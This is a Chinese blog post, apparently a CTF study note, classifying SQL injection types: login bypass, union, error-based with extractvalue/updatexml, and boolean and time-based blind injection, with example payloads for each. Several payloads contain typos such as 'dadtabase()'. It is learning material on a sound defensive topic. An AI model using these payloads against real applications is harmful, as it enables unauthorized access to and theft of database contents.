sql注入分类

绕过登录

一般是绕过用户名、密码,具体方法如下:

已知源码sql语句为

 select * from table where name='$name' and password='$passwaord'

则可以通过注入 'or 1=1 - - 实现绕过(原理:使where后面的条件恒真)
类型二:
使用union实现注入,例:
已知某登录验证方式为用户输入用户名、密码,通过从数据库中提取该用户名对应的密码与用户输入的密码进行比对来验证身份。
此时可使用union绕过,即在登录栏输入用户名和密码123,在url输入name=admin' union select 123,加’的目的是让前一个查询为空,执行后一个查询,使得密码验证成功

联合注入

原理:
使用union 连接两个查询,返回两个结果的并集,要求两个查询结果的列数一样

方法:

  • 先用order by测试有多少列,挨个试(假如只有3列)
  • 再用select 测试哪一列会被显示(假如第2列被显示)
  • 最后用 union select 1,flag,3 from flag 即可

错误注入

原理:
当mysql语法错误时会把错误显示出来,常用extractvalue()、updatexml()函数
这两个函数均为查询函数,有两个参数,第一个为要查询的目标文件;第二个为查询的路径,有严格的语法限制,必须是/xx/xx/xx,一旦出错即报错,该报错内容即为我们想要的。
例:

extractvalue(1,concat('~',(select database()))  #报错内容为~db,db即为要查的内容
updatexml(1,concat('~',(select database()),'~'),1)

有时候,由于~可能被过滤,可以用其十六进制0x7e代替

布尔注入

用于一位位爆破表名或字段名
例:name=admin' or ord(substr(dadtabase(),1,1))=116 该语句即根据查询结果的布尔值判断数据库名的第一个字符对应的ASCII值是否为116,要查询第二、第三位字符,即把参数里第二个参数(第一个 1)改为2、3,依次猜

时间盲注

name=admin' or if(ord((substr(dadtabase(),1,1))=116),sleep(10),0)

若(ord((substr(dadtabase(),1,1))=116)为真,则延迟10秒,否则为假,不延迟

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值